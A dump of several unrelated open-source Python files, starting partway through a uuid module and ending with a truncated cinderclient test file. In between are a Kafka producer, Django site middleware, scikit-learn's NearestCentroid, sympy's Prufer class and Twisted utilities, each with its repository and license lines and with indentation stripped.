ncb.Callname = '*'.ljust(16)
ncb.Buffer = status = netbios.ADAPTER_STATUS()
if win32wnet.Netbios(ncb) != 0:
continue
status._unpack()
bytes = map(ord, status.adapter_address)
return ((bytes[0]<<40L) + (bytes[1]<<32L) + (bytes[2]<<24L) +
(bytes[3]<<16L) + (bytes[4]<<8L) + bytes[5])
# Thanks to Thomas Heller for ctypes and for his help with its use here.
# If ctypes is available, use it to find system routines for UUID generation.
_uuid_generate_random = _uuid_generate_time = _UuidCreate = None
try:
import ctypes, ctypes.util
# The uuid_generate_* routines are provided by libuuid on at least
# Linux and FreeBSD, and provided by libc on Mac OS X.
for libname in ['uuid', 'c']:
try:
lib = ctypes.CDLL(ctypes.util.find_library(libname))
except:
continue
if hasattr(lib, 'uuid_generate_random'):
_uuid_generate_random = lib.uuid_generate_random
if hasattr(lib, 'uuid_generate_time'):
_uuid_generate_time = lib.uuid_generate_time
# The uuid_generate_* functions are broken on MacOS X 10.5, as noted
# in issue #8621 the function generates the same sequence of values
# in the parent process and all children created using fork (unless
# those children use exec as well).
#
# Assume that the uuid_generate functions are broken from 10.5 onward,
# the test can be adjusted when a later version is fixed.
import sys
if sys.platform == 'darwin':
import os
if int(os.uname()[2].split('.')[0]) >= 9:
_uuid_generate_random = _uuid_generate_time = None
# On Windows prior to 2000, UuidCreate gives a UUID containing the
# hardware address. On Windows 2000 and later, UuidCreate makes a
# random UUID and UuidCreateSequential gives a UUID containing the
# hardware address. These routines are provided by the RPC runtime.
# NOTE: at least on Tim's WinXP Pro SP2 desktop box, while the last
# 6 bytes returned by UuidCreateSequential are fixed, they don't appear
# to bear any relationship to the MAC address of any network device
# on the box.
try:
lib = ctypes.windll.rpcrt4
except:
lib = None
_UuidCreate = getattr(lib, 'UuidCreateSequential',
getattr(lib, 'UuidCreate', None))
except:
pass
def _unixdll_getnode():
"""Get the hardware address on Unix using ctypes."""
_buffer = ctypes.create_string_buffer(16)
_uuid_generate_time(_buffer)
return UUID(bytes=_buffer.raw).node
def _windll_getnode():
"""Get the hardware address on Windows using ctypes."""
_buffer = ctypes.create_string_buffer(16)
if _UuidCreate(_buffer) == 0:
return UUID(bytes=_buffer.raw).node
def _random_getnode():
"""Get a random node ID, with eighth bit set as suggested by RFC 4122."""
import random
return random.randrange(0, 1<<48L) | 0x010000000000L
_node = None
def getnode():
"""Get the hardware address as a 48-bit positive integer.
The first time this runs, it may launch a separate program, which could
be quite slow. If all attempts to obtain the hardware address fail, we
choose a random 48-bit number with its eighth bit set to 1 as recommended
in RFC 4122.
"""
global _node
if _node is not None:
return _node
import sys
if sys.platform == 'win32':
getters = [_windll_getnode, _netbios_getnode, _ipconfig_getnode]
else:
getters = [_unixdll_getnode, _ifconfig_getnode]
for getter in getters + [_random_getnode]:
try:
_node = getter()
except:
continue
if _node is not None:
return _node
_last_timestamp = None
def uuid1(node=None, clock_seq=None):
"""Generate a UUID from a host ID, sequence number, and the current time.
If 'node' is not given, getnode() is used to obtain the hardware
address. If 'clock_seq' is given, it is used as the sequence number;
otherwise a random 14-bit sequence number is chosen."""
# When the system provides a version-1 UUID generator, use it (but don't
# use UuidCreate here because its UUIDs don't conform to RFC 4122).
if _uuid_generate_time and node is clock_seq is None:
_buffer = ctypes.create_string_buffer(16)
_uuid_generate_time(_buffer)
return UUID(bytes=_buffer.raw)
global _last_timestamp
import time
nanoseconds = int(time.time() * 1e9)
# 0x01b21dd213814000 is the number of 100-ns intervals between the
# UUID epoch 1582-10-15 00:00:00 and the Unix epoch 1970-01-01 00:00:00.
timestamp = int(nanoseconds//100) + 0x01b21dd213814000L
if _last_timestamp is not None and timestamp <= _last_timestamp:
timestamp = _last_timestamp + 1
_last_timestamp = timestamp
if clock_seq is None:
import random
clock_seq = random.randrange(1<<14L) # instead of stable storage
time_low = timestamp & 0xffffffffL
time_mid = (timestamp >> 32L) & 0xffffL
time_hi_version = (timestamp >> 48L) & 0x0fffL
clock_seq_low = clock_seq & 0xffL
clock_seq_hi_variant = (clock_seq >> 8L) & 0x3fL
if node is None:
node = getnode()
return UUID(fields=(time_low, time_mid, time_hi_version,
clock_seq_hi_variant, clock_seq_low, node), version=1)
def uuid3(namespace, name):
"""Generate a UUID from the MD5 hash of a namespace UUID and a name."""
from hashlib import md5
hash = md5(namespace.bytes + name).digest()
return UUID(bytes=hash[:16], version=3)
def uuid4():
"""Generate a random UUID."""
# When the system provides a version-4 UUID generator, use it.
if _uuid_generate_random:
_buffer = ctypes.create_string_buffer(16)
_uuid_generate_random(_buffer)
return UUID(bytes=_buffer.raw)
# Otherwise, get randomness from urandom or the 'random' module.
try:
import os
return UUID(bytes=os.urandom(16), version=4)
except:
import random
bytes = [chr(random.randrange(256)) for i in range(16)]
return UUID(bytes=bytes, version=4)
def uuid5(namespace, name):
"""Generate a UUID from the SHA-1 hash of a namespace UUID and a name."""
from hashlib import sha1
hash = sha1(namespace.bytes + name).digest()
return UUID(bytes=hash[:16], version=5)
# The following standard UUIDs are for use with uuid3() or uuid5().
NAMESPACE_DNS = UUID('6ba7b810-9dad-11d1-80b4-00c04fd430c8')
NAMESPACE_URL = UUID('6ba7b811-9dad-11d1-80b4-00c04fd430c8')
NAMESPACE_OID = UUID('6ba7b812-9dad-11d1-80b4-00c04fd430c8')
NAMESPACE_X500 = UUID('6ba7b814-9dad-11d1-80b4-00c04fd430c8')
|
lgpl-3.0
|
slivkamiro/sample_kafka_producer
|
src/sample_producer.py
|
1
|
2551
|
import sys
from argparse import ArgumentParser
from threading import Timer
from time import time
from confluent_kafka import avro
from confluent_kafka.avro import AvroProducer
from random import randint, random
from sample_source_props import random_movie, random_series, random_user, random_tags, random_sentence
class PeriodicProducer(object):
def __init__(self, bootstrap_servers, schema_registry_url, topic):
value_schema = avro.load('resources/workshop.avsc')
config = {
'bootstrap.servers': bootstrap_servers,
'schema.registry.url': 'http://{0}'.format(schema_registry_url)
}
self.topic = topic
self.stopped = True
self.end_time = 0
self.producer = AvroProducer(config, default_value_schema=value_schema)
def __get_props(self):
if random() > 0.5:
p = random_movie()
return {
'title': p[0],
'properties': {
'release_year': p[1]
}
}
else:
p = random_series()
return {
'title': p[0],
'properties': {
'seasons': p[1]
}
}
def __loop__(self):
now = int(time())
props = self.__get_props()
document = {
'timestamp': now,
'user': random_user(),
'title': props['title'],
'tags': random_tags(),
'comment': random_sentence(),
'rating': randint(0, 9),
'properties': props['properties']
}
print 'Sending {0} to kafka.'.format(document)
self.producer.produce(topic=self.topic, value=document)
if not self.stopped and now < self.end_time:
Timer(1, self.__loop__).start()
def run(self, period):
self.stopped = False
self.end_time = int(time()) + period
self.__loop__()
def is_stopped(self):
return self.stopped
def is_running(self):
return not self.stopped
def stop(self):
self.stopped = True
if __name__ == '__main__':
parser = ArgumentParser()
parser.add_argument('--brokers', help='kafka brokers list')
parser.add_argument('--schema-registry', dest='schema_registry', help='schema registry url')
parser.add_argument('--topic', help='target kafka topic')
args = parser.parse_args(sys.argv[1:])
producer = PeriodicProducer(args.brokers, args.schema_registry, args.topic)
producer.run(60)
|
apache-2.0
|
nurey/disclosed
|
app2/common/appenginepatch/ragendja/sites/dynamicsite.py
|
10
|
1805
|
from django.conf import settings
from django.core.cache import cache
from django.contrib.sites.models import Site
from ragendja.dbutils import db_create
from ragendja.pyutils import make_tls_property
_default_site_id = getattr(settings, 'SITE_ID', None)
SITE_ID = settings.__class__.SITE_ID = make_tls_property()
class DynamicSiteIDMiddleware(object):
"""Sets settings.SIDE_ID based on request's domain"""
def process_request(self, request):
# Ignore port if it's 80 or 443
if ':' in request.get_host():
domain, port = request.get_host().split(':')
if int(port) not in (80, 443):
domain = request.get_host()
else:
domain = request.get_host().split(':')[0]
# We cache the SITE_ID
cache_key = 'Site:domain:%s' % domain
site = cache.get(cache_key)
if site:
SITE_ID.value = site
else:
site = Site.all().filter('domain =', domain).get()
if not site:
# Fall back to with/without 'www.'
if domain.startswith('www.'):
fallback_domain = domain[4:]
else:
fallback_domain = 'www.' + domain
site = Site.all().filter('domain =', fallback_domain).get()
# Add site if it doesn't exist
if not site and getattr(settings, 'CREATE_SITES_AUTOMATICALLY',
True):
site = db_create(Site, domain=domain, name=domain)
site.put()
# Set SITE_ID for this thread/request
if site:
SITE_ID.value = str(site.key())
else:
SITE_ID.value = _default_site_id
cache.set(cache_key, SITE_ID.value, 5*60)
|
mit
|
huzq/scikit-learn
|
sklearn/neighbors/_nearest_centroid.py
|
4
|
7789
|
# -*- coding: utf-8 -*-
"""
Nearest Centroid Classification
"""
# Author: Robert Layton <[email protected]>
# Olivier Grisel <[email protected]>
#
# License: BSD 3 clause
import warnings
import numpy as np
from scipy import sparse as sp
from ..base import BaseEstimator, ClassifierMixin
from ..metrics.pairwise import pairwise_distances
from ..preprocessing import LabelEncoder
from ..utils.validation import check_array, check_is_fitted
from ..utils.validation import _deprecate_positional_args
from ..utils.sparsefuncs import csc_median_axis_0
from ..utils.multiclass import check_classification_targets
class NearestCentroid(ClassifierMixin, BaseEstimator):
"""Nearest centroid classifier.
Each class is represented by its centroid, with test samples classified to
the class with the nearest centroid.
Read more in the :ref:`User Guide <nearest_centroid_classifier>`.
Parameters
----------
metric : str or callable
The metric to use when calculating distance between instances in a
feature array. If metric is a string or callable, it must be one of
the options allowed by metrics.pairwise.pairwise_distances for its
metric parameter.
The centroids for the samples corresponding to each class is the point
from which the sum of the distances (according to the metric) of all
samples that belong to that particular class are minimized.
If the "manhattan" metric is provided, this centroid is the median and
for all other metrics, the centroid is now set to be the mean.
.. versionchanged:: 0.19
``metric='precomputed'`` was deprecated and now raises an error
shrink_threshold : float, default=None
Threshold for shrinking centroids to remove features.
Attributes
----------
centroids_ : array-like of shape (n_classes, n_features)
Centroid of each class.
classes_ : array of shape (n_classes,)
The unique classes labels.
Examples
--------
>>> from sklearn.neighbors import NearestCentroid
>>> import numpy as np
>>> X = np.array([[-1, -1], [-2, -1], [-3, -2], [1, 1], [2, 1], [3, 2]])
>>> y = np.array([1, 1, 1, 2, 2, 2])
>>> clf = NearestCentroid()
>>> clf.fit(X, y)
NearestCentroid()
>>> print(clf.predict([[-0.8, -1]]))
[1]
See also
--------
sklearn.neighbors.KNeighborsClassifier: nearest neighbors classifier
Notes
-----
When used for text classification with tf-idf vectors, this classifier is
also known as the Rocchio classifier.
References
----------
Tibshirani, R., Hastie, T., Narasimhan, B., & Chu, G. (2002). Diagnosis of
multiple cancer types by shrunken centroids of gene expression. Proceedings
of the National Academy of Sciences of the United States of America,
99(10), 6567-6572. The National Academy of Sciences.
"""
@_deprecate_positional_args
def __init__(self, metric='euclidean', *, shrink_threshold=None):
self.metric = metric
self.shrink_threshold = shrink_threshold
def fit(self, X, y):
"""
Fit the NearestCentroid model according to the given training data.
Parameters
----------
X : {array-like, sparse matrix} of shape (n_samples, n_features)
Training vector, where n_samples is the number of samples and
n_features is the number of features.
Note that centroid shrinking cannot be used with sparse matrices.
y : array-like of shape (n_samples,)
Target values (integers)
"""
if self.metric == 'precomputed':
raise ValueError("Precomputed is not supported.")
# If X is sparse and the metric is "manhattan", store it in a csc
# format is easier to calculate the median.
if self.metric == 'manhattan':
X, y = self._validate_data(X, y, accept_sparse=['csc'])
else:
X, y = self._validate_data(X, y, accept_sparse=['csr', 'csc'])
is_X_sparse = sp.issparse(X)
if is_X_sparse and self.shrink_threshold:
raise ValueError("threshold shrinking not supported"
" for sparse input")
check_classification_targets(y)
n_samples, n_features = X.shape
le = LabelEncoder()
y_ind = le.fit_transform(y)
self.classes_ = classes = le.classes_
n_classes = classes.size
if n_classes < 2:
raise ValueError('The number of classes has to be greater than'
' one; got %d class' % (n_classes))
# Mask mapping each class to its members.
self.centroids_ = np.empty((n_classes, n_features), dtype=np.float64)
# Number of clusters in each class.
nk = np.zeros(n_classes)
for cur_class in range(n_classes):
center_mask = y_ind == cur_class
nk[cur_class] = np.sum(center_mask)
if is_X_sparse:
center_mask = np.where(center_mask)[0]
# XXX: Update other averaging methods according to the metrics.
if self.metric == "manhattan":
# NumPy does not calculate median of sparse matrices.
if not is_X_sparse:
self.centroids_[cur_class] = np.median(X[center_mask], axis=0)
else:
self.centroids_[cur_class] = csc_median_axis_0(X[center_mask])
else:
if self.metric != 'euclidean':
warnings.warn("Averaging for metrics other than "
"euclidean and manhattan not supported. "
"The average is set to be the mean."
)
self.centroids_[cur_class] = X[center_mask].mean(axis=0)
if self.shrink_threshold:
dataset_centroid_ = np.mean(X, axis=0)
# m parameter for determining deviation
m = np.sqrt((1. / nk) - (1. / n_samples))
# Calculate deviation using the standard deviation of centroids.
variance = (X - self.centroids_[y_ind]) ** 2
variance = variance.sum(axis=0)
s = np.sqrt(variance / (n_samples - n_classes))
s += np.median(s) # To deter outliers from affecting the results.
mm = m.reshape(len(m), 1) # Reshape to allow broadcasting.
ms = mm * s
deviation = ((self.centroids_ - dataset_centroid_) / ms)
# Soft thresholding: if the deviation crosses 0 during shrinking,
# it becomes zero.
signs = np.sign(deviation)
deviation = (np.abs(deviation) - self.shrink_threshold)
np.clip(deviation, 0, None, out=deviation)
deviation *= signs
# Now adjust the centroids using the deviation
msd = ms * deviation
self.centroids_ = dataset_centroid_[np.newaxis, :] + msd
return self
def predict(self, X):
"""Perform classification on an array of test vectors X.
The predicted class C for each sample in X is returned.
Parameters
----------
X : array-like of shape (n_samples, n_features)
Returns
-------
C : ndarray of shape (n_samples,)
Notes
-----
If the metric constructor parameter is "precomputed", X is assumed to
be the distance matrix between the data to be predicted and
``self.centroids_``.
"""
check_is_fitted(self)
X = check_array(X, accept_sparse='csr')
return self.classes_[pairwise_distances(
X, self.centroids_, metric=self.metric).argmin(axis=1)]
|
bsd-3-clause
|
mancoast/CPythonPyc_test
|
cpython/212_test_traceback.py
|
5
|
1336
|
"""Test cases for traceback module"""
import unittest
from test_support import run_unittest
import traceback
class TracebackCases(unittest.TestCase):
# For now, a very minimal set of tests. I want to be sure that
# formatting of SyntaxErrors works based on changes for 2.1.
def get_exception_format(self, func, exc):
try:
func()
except exc, value:
return traceback.format_exception_only(exc, value)
else:
raise ValueError, "call did not raise exception"
def syntax_error_with_caret(self):
compile("def fact(x):\n\treturn x!\n", "?", "exec")
def syntax_error_without_caret(self):
# XXX why doesn't compile raise the same traceback?
import nocaret
def test_caret(self):
err = self.get_exception_format(self.syntax_error_with_caret,
SyntaxError)
self.assert_(len(err) == 4)
self.assert_("^" in err[2]) # third line has caret
self.assert_(err[1].strip() == "return x!")
def test_nocaret(self):
err = self.get_exception_format(self.syntax_error_without_caret,
SyntaxError)
self.assert_(len(err) == 3)
self.assert_(err[1].strip() == "[x for x in x] = x")
run_unittest(TracebackCases)
|
gpl-3.0
|
hitsl/bouser
|
bouser/utils.py
|
1
|
5738
|
# -*- coding: utf-8 -*-
import datetime
import json
import functools
from Queue import Queue
import six
from twisted.application.service import Service
from twisted.internet import defer
from bouser.excs import SerializableBaseException, ExceptionWrapper
from twisted.web.http import Request
from bouser.web.cors import OptionsFinish
__author__ = 'viruzzz-kun'
class RestJsonEncoder(json.JSONEncoder):
def default(self, o):
if isinstance(o, (datetime.datetime, datetime.date)):
return o.isoformat()
if hasattr(o, '__json__'):
return o.__json__()
if hasattr(o, '__unicode__'):
return o.__unicode__()
if hasattr(o, '__dict__'):
return o.__dict__
return o
def as_json(o):
return json.dumps(o, ensure_ascii=False, cls=RestJsonEncoder, encoding='utf-8').encode('utf-8')
def api_method(func):
@functools.wraps(func)
@defer.inlineCallbacks
def wrapper(*args, **kwargs):
try:
result = yield func(*args, **kwargs)
except OptionsFinish:
# TODO: test it
raise
except SerializableBaseException as e:
result = e
except Exception as e:
result = ExceptionWrapper(e)
if len(args) > 1 and isinstance(args[1], Request):
args[1].setHeader('content-type', 'application/json; charset=utf-8')
defer.returnValue(as_json(result))
return wrapper
def safe_traverse(obj, *args, **kwargs):
"""Безопасное копание вглубь dict'а
@param obj: точка входя для копания
@param *args: ключи, по которым надо проходить
@param default=None: возвращаемое значение, если раскопки не удались
@rtype: any
"""
default = kwargs.get('default', None)
if obj is None:
return default
if len(args) == 0:
raise ValueError(u'len(args) must be > 0')
elif len(args) == 1:
return obj.get(args[0], default)
else:
return safe_traverse(obj.get(args[0]), *args[1:], **kwargs)
def must_be_deferred(func):
@functools.wraps(func)
def wrapper(*args, **kwargs):
return defer.maybeDeferred(func, *args, **kwargs)
return wrapper
def safe_int(value):
try:
return int(value)
except ValueError:
return value
def get_args(request):
content = request.content
if content is not None:
try:
return json.loads(content.getvalue())
except ValueError:
pass
# This is primarily for testing purposes - to pass arguments in url
return dict(
(key, value[0])
for key, value in request.args.iteritems()
)
def transfer_fields(dest, src, fields):
for name in fields:
setattr(dest, name, getattr(src, name))
class ThreadWrapper(Service):
def __init__(self, name=None):
self.q = Queue()
self.thread = None
self.name = name
def _cb(self, deferred, result):
"""
Callback to be run on deferred function success
This function is run in Thread
:type deferred: twisted.internet.defer.Deferred
:param deferred: Deferred with callback
:param result: result to pass through
:return:
"""
from twisted.internet import reactor
self.q.task_done()
reactor.callFromThread(deferred.callback, result)
return result
def _eb(self, deferred, failure):
"""
Errback to be run on deferred function fail
This function is run in Thread
:type deferred: twisted.internet.defer.Deferred
:param deferred: Deferred with errback
:param failure: failure to pass through
:return:
"""
from twisted.internet import reactor
self.q.task_done()
reactor.callFromThread(deferred.errback, failure)
return failure
def _run(self):
"""
Wrapper's main loop, target of the Thread.
This function is run in Thread
:return:
"""
while 1:
func, args, kwargs, deferred = self.q.get(timeout=1)
if not func:
self.thread = None
break
defer.maybeDeferred(func, *args, **kwargs)\
.addCallbacks(self._cb, self._eb, callbackArgs=(deferred,), errbackArgs=(deferred,))
def call(self, func, *args, **kwargs):
"""
Call function in Thread's call queue
:param func: callable
:return: Deferred which fires when function execution is done
"""
deferred = defer.Deferred()
self.q.put((func, args, kwargs, deferred))
return deferred
def startService(self):
"""
Start ThreadWrapper
:return:
"""
Service.startService(self)
from threading import Thread
self.thread = Thread(target=self._run, name=self.name)
def stopService(self):
"""
Stop ThreadWrapper
:return:
"""
self.q.put((None, None, None, None))
Service.stopService(self)
def synchronize(self, func):
"""
Decorate function to be called inside this ThreadWrapper
:param func: function
:return: decorated function
"""
@functools.wraps(func)
def wrapper(*args, **kwargs):
return self.call(func, *args, **kwargs)
return wrapper
def safe_bytes(value):
if isinstance(value, six.text_type):
return value.encode('utf-8', errors='ignore')
elif isinstance(value, six.binary_type):
return value
return str(value)
|
isc
|
lindsayad/sympy
|
sympy/combinatorics/prufer.py
|
93
|
11915
|
from __future__ import print_function, division
from sympy.core import Basic
from sympy.core.compatibility import iterable, as_int, range
from sympy.utilities.iterables import flatten
from collections import defaultdict
class Prufer(Basic):
"""
The Prufer correspondence is an algorithm that describes the
bijection between labeled trees and the Prufer code. A Prufer
code of a labeled tree is unique up to isomorphism and has
a length of n - 2.
Prufer sequences were first used by Heinz Prufer to give a
proof of Cayley's formula.
References
==========
.. [1] http://mathworld.wolfram.com/LabeledTree.html
"""
_prufer_repr = None
_tree_repr = None
_nodes = None
_rank = None
@property
def prufer_repr(self):
"""Returns Prufer sequence for the Prufer object.
This sequence is found by removing the highest numbered vertex,
recording the node it was attached to, and continuing until only
two vertices remain. The Prufer sequence is the list of recorded nodes.
Examples
========
>>> from sympy.combinatorics.prufer import Prufer
>>> Prufer([[0, 3], [1, 3], [2, 3], [3, 4], [4, 5]]).prufer_repr
[3, 3, 3, 4]
>>> Prufer([1, 0, 0]).prufer_repr
[1, 0, 0]
See Also
========
to_prufer
"""
if self._prufer_repr is None:
self._prufer_repr = self.to_prufer(self._tree_repr[:], self.nodes)
return self._prufer_repr
@property
def tree_repr(self):
"""Returns the tree representation of the Prufer object.
Examples
========
>>> from sympy.combinatorics.prufer import Prufer
>>> Prufer([[0, 3], [1, 3], [2, 3], [3, 4], [4, 5]]).tree_repr
[[0, 3], [1, 3], [2, 3], [3, 4], [4, 5]]
>>> Prufer([1, 0, 0]).tree_repr
[[1, 2], [0, 1], [0, 3], [0, 4]]
See Also
========
to_tree
"""
if self._tree_repr is None:
self._tree_repr = self.to_tree(self._prufer_repr[:])
return self._tree_repr
@property
def nodes(self):
"""Returns the number of nodes in the tree.
Examples
========
>>> from sympy.combinatorics.prufer import Prufer
>>> Prufer([[0, 3], [1, 3], [2, 3], [3, 4], [4, 5]]).nodes
6
>>> Prufer([1, 0, 0]).nodes
5
"""
return self._nodes
@property
def rank(self):
"""Returns the rank of the Prufer sequence.
Examples
========
>>> from sympy.combinatorics.prufer import Prufer
>>> p = Prufer([[0, 3], [1, 3], [2, 3], [3, 4], [4, 5]])
>>> p.rank
778
>>> p.next(1).rank
779
>>> p.prev().rank
777
See Also
========
prufer_rank, next, prev, size
"""
if self._rank is None:
self._rank = self.prufer_rank()
return self._rank
@property
def size(self):
"""Return the number of possible trees of this Prufer object.
Examples
========
>>> from sympy.combinatorics.prufer import Prufer
>>> Prufer([0]*4).size == Prufer([6]*4).size == 1296
True
See Also
========
prufer_rank, rank, next, prev
"""
return self.prev(self.rank).prev().rank + 1
@staticmethod
def to_prufer(tree, n):
"""Return the Prufer sequence for a tree given as a list of edges where
``n`` is the number of nodes in the tree.
Examples
========
>>> from sympy.combinatorics.prufer import Prufer
>>> a = Prufer([[0, 1], [0, 2], [0, 3]])
>>> a.prufer_repr
[0, 0]
>>> Prufer.to_prufer([[0, 1], [0, 2], [0, 3]], 4)
[0, 0]
See Also
========
prufer_repr: returns Prufer sequence of a Prufer object.
"""
d = defaultdict(int)
L = []
for edge in tree:
# Increment the value of the corresponding
# node in the degree list as we encounter an
# edge involving it.
d[edge[0]] += 1
d[edge[1]] += 1
for i in range(n - 2):
# find the smallest leaf
for x in range(n):
if d[x] == 1:
break
# find the node it was connected to
y = None
for edge in tree:
if x == edge[0]:
y = edge[1]
elif x == edge[1]:
y = edge[0]
if y is not None:
break
# record and update
L.append(y)
for j in (x, y):
d[j] -= 1
if not d[j]:
d.pop(j)
tree.remove(edge)
return L
@staticmethod
def to_tree(prufer):
"""Return the tree (as a list of edges) of the given Prufer sequence.
Examples
========
>>> from sympy.combinatorics.prufer import Prufer
>>> a = Prufer([0, 2], 4)
>>> a.tree_repr
[[0, 1], [0, 2], [2, 3]]
>>> Prufer.to_tree([0, 2])
[[0, 1], [0, 2], [2, 3]]
References
==========
- https://hamberg.no/erlend/posts/2010-11-06-prufer-sequence-compact-tree-representation.html
See Also
========
tree_repr: returns tree representation of a Prufer object.
"""
tree = []
last = []
n = len(prufer) + 2
d = defaultdict(lambda: 1)
for p in prufer:
d[p] += 1
for i in prufer:
for j in range(n):
# find the smallest leaf (degree = 1)
if d[j] == 1:
break
# (i, j) is the new edge that we append to the tree
# and remove from the degree dictionary
d[i] -= 1
d[j] -= 1
tree.append(sorted([i, j]))
last = [i for i in range(n) if d[i] == 1] or [0, 1]
tree.append(last)
return tree
@staticmethod
def edges(*runs):
"""Return a list of edges and the number of nodes from the given runs
that connect nodes in an integer-labelled tree.
All node numbers will be shifted so that the minimum node is 0. It is
not a problem if edges are repeated in the runs; only unique edges are
returned. There is no assumption made about what the range of the node
labels should be, but all nodes from the smallest through the largest
must be present.
Examples
========
>>> from sympy.combinatorics.prufer import Prufer
>>> Prufer.edges([1, 2, 3], [2, 4, 5]) # a T
([[0, 1], [1, 2], [1, 3], [3, 4]], 5)
Duplicate edges are removed:
>>> Prufer.edges([0, 1, 2, 3], [1, 4, 5], [1, 4, 6]) # a K
([[0, 1], [1, 2], [1, 4], [2, 3], [4, 5], [4, 6]], 7)
"""
e = set()
nmin = runs[0][0]
for r in runs:
for i in range(len(r) - 1):
a, b = r[i: i + 2]
if b < a:
a, b = b, a
e.add((a, b))
rv = []
got = set()
nmin = nmax = None
for ei in e:
for i in ei:
got.add(i)
nmin = min(ei[0], nmin) if nmin is not None else ei[0]
nmax = max(ei[1], nmax) if nmax is not None else ei[1]
rv.append(list(ei))
missing = set(range(nmin, nmax + 1)) - got
if missing:
missing = [i + nmin for i in missing]
if len(missing) == 1:
msg = 'Node %s is missing.' % missing.pop()
else:
msg = 'Nodes %s are missing.' % list(sorted(missing))
raise ValueError(msg)
if nmin != 0:
for i, ei in enumerate(rv):
rv[i] = [n - nmin for n in ei]
nmax -= nmin
return sorted(rv), nmax + 1
def prufer_rank(self):
"""Computes the rank of a Prufer sequence.
Examples
========
>>> from sympy.combinatorics.prufer import Prufer
>>> a = Prufer([[0, 1], [0, 2], [0, 3]])
>>> a.prufer_rank()
0
See Also
========
rank, next, prev, size
"""
r = 0
p = 1
for i in range(self.nodes - 3, -1, -1):
r += p*self.prufer_repr[i]
p *= self.nodes
return r
@classmethod
def unrank(self, rank, n):
"""Finds the unranked Prufer sequence.
Examples
========
>>> from sympy.combinatorics.prufer import Prufer
>>> Prufer.unrank(0, 4)
Prufer([0, 0])
"""
n, rank = as_int(n), as_int(rank)
L = defaultdict(int)
for i in range(n - 3, -1, -1):
L[i] = rank % n
rank = (rank - L[i])//n
return Prufer([L[i] for i in range(len(L))])
def __new__(cls, *args, **kw_args):
"""The constructor for the Prufer object.
Examples
========
>>> from sympy.combinatorics.prufer import Prufer
A Prufer object can be constructed from a list of edges:
>>> a = Prufer([[0, 1], [0, 2], [0, 3]])
>>> a.prufer_repr
[0, 0]
If the number of nodes is given, no checking of the nodes will
be performed; it will be assumed that nodes 0 through n - 1 are
present:
>>> Prufer([[0, 1], [0, 2], [0, 3]], 4)
Prufer([[0, 1], [0, 2], [0, 3]], 4)
A Prufer object can be constructed from a Prufer sequence:
>>> b = Prufer([1, 3])
>>> b.tree_repr
[[0, 1], [1, 3], [2, 3]]
"""
ret_obj = Basic.__new__(cls, *args, **kw_args)
args = [list(args[0])]
if args[0] and iterable(args[0][0]):
if not args[0][0]:
raise ValueError(
'Prufer expects at least one edge in the tree.')
if len(args) > 1:
nnodes = args[1]
else:
nodes = set(flatten(args[0]))
nnodes = max(nodes) + 1
if nnodes != len(nodes):
missing = set(range(nnodes)) - nodes
if len(missing) == 1:
msg = 'Node %s is missing.' % missing.pop()
else:
msg = 'Nodes %s are missing.' % list(sorted(missing))
raise ValueError(msg)
ret_obj._tree_repr = [list(i) for i in args[0]]
ret_obj._nodes = nnodes
else:
ret_obj._prufer_repr = args[0]
ret_obj._nodes = len(ret_obj._prufer_repr) + 2
return ret_obj
def next(self, delta=1):
"""Generates the Prufer sequence that is delta beyond the current one.
Examples
========
>>> from sympy.combinatorics.prufer import Prufer
>>> a = Prufer([[0, 1], [0, 2], [0, 3]])
>>> b = a.next(1) # == a.next()
>>> b.tree_repr
[[0, 2], [0, 1], [1, 3]]
>>> b.rank
1
See Also
========
prufer_rank, rank, prev, size
"""
return Prufer.unrank(self.rank + delta, self.nodes)
def prev(self, delta=1):
"""Generates the Prufer sequence that is -delta before the current one.
Examples
========
>>> from sympy.combinatorics.prufer import Prufer
>>> a = Prufer([[0, 1], [1, 2], [2, 3], [1, 4]])
>>> a.rank
36
>>> b = a.prev()
>>> b
Prufer([1, 2, 0])
>>> b.rank
35
See Also
========
prufer_rank, rank, next, size
"""
return Prufer.unrank(self.rank -delta, self.nodes)
|
bsd-3-clause
|
scottdangelo/cinderclient-api-microversions
|
cinderclient/tests/unit/test_utils.py
|
2
|
6782
|
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
# implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import collections
import sys
import mock
from six import moves
from cinderclient import exceptions
from cinderclient import utils
from cinderclient import base
from cinderclient.tests.unit import utils as test_utils
UUID = '8e8ec658-c7b0-4243-bdf8-6f7f2952c0d0'
class FakeResource(object):
NAME_ATTR = 'name'
def __init__(self, _id, properties):
self.id = _id
try:
self.name = properties['name']
except KeyError:
pass
class FakeManager(base.ManagerWithFind):
resource_class = FakeResource
resources = [
FakeResource('1234', {'name': 'entity_one'}),
FakeResource(UUID, {'name': 'entity_two'}),
FakeResource('5678', {'name': '9876'})
]
def get(self, resource_id):
for resource in self.resources:
if resource.id == str(resource_id):
return resource
raise exceptions.NotFound(resource_id)
def list(self, search_opts):
return self.resources
class FakeDisplayResource(object):
NAME_ATTR = 'display_name'
def __init__(self, _id, properties):
self.id = _id
try:
self.display_name = properties['display_name']
except KeyError:
pass
class FakeDisplayManager(FakeManager):
resource_class = FakeDisplayResource
resources = [
FakeDisplayResource('4242', {'display_name': 'entity_three'}),
]
class FindResourceTestCase(test_utils.TestCase):
def setUp(self):
super(FindResourceTestCase, self).setUp()
self.manager = FakeManager(None)
def test_find_none(self):
self.manager.find = mock.Mock(side_effect=self.manager.find)
self.assertRaises(exceptions.CommandError,
utils.find_resource,
self.manager,
'asdf')
self.assertEqual(2, self.manager.find.call_count)
def test_find_by_integer_id(self):
output = utils.find_resource(self.manager, 1234)
self.assertEqual(self.manager.get('1234'), output)
def test_find_by_str_id(self):
output = utils.find_resource(self.manager, '1234')
self.assertEqual(self.manager.get('1234'), output)
def test_find_by_uuid(self):
output = utils.find_resource(self.manager, UUID)
self.assertEqual(self.manager.get(UUID), output)
def test_find_by_str_name(self):
output = utils.find_resource(self.manager, 'entity_one')
self.assertEqual(self.manager.get('1234'), output)
def test_find_by_str_displayname(self):
display_manager = FakeDisplayManager(None)
output = utils.find_resource(display_manager, 'entity_three')
self.assertEqual(display_manager.get('4242'), output)
class CaptureStdout(object):
"""Context manager for capturing stdout from statements in its block."""
def __enter__(self):
self.real_stdout = sys.stdout
self.stringio = moves.StringIO()
sys.stdout = self.stringio
return self
def __exit__(self, *args):
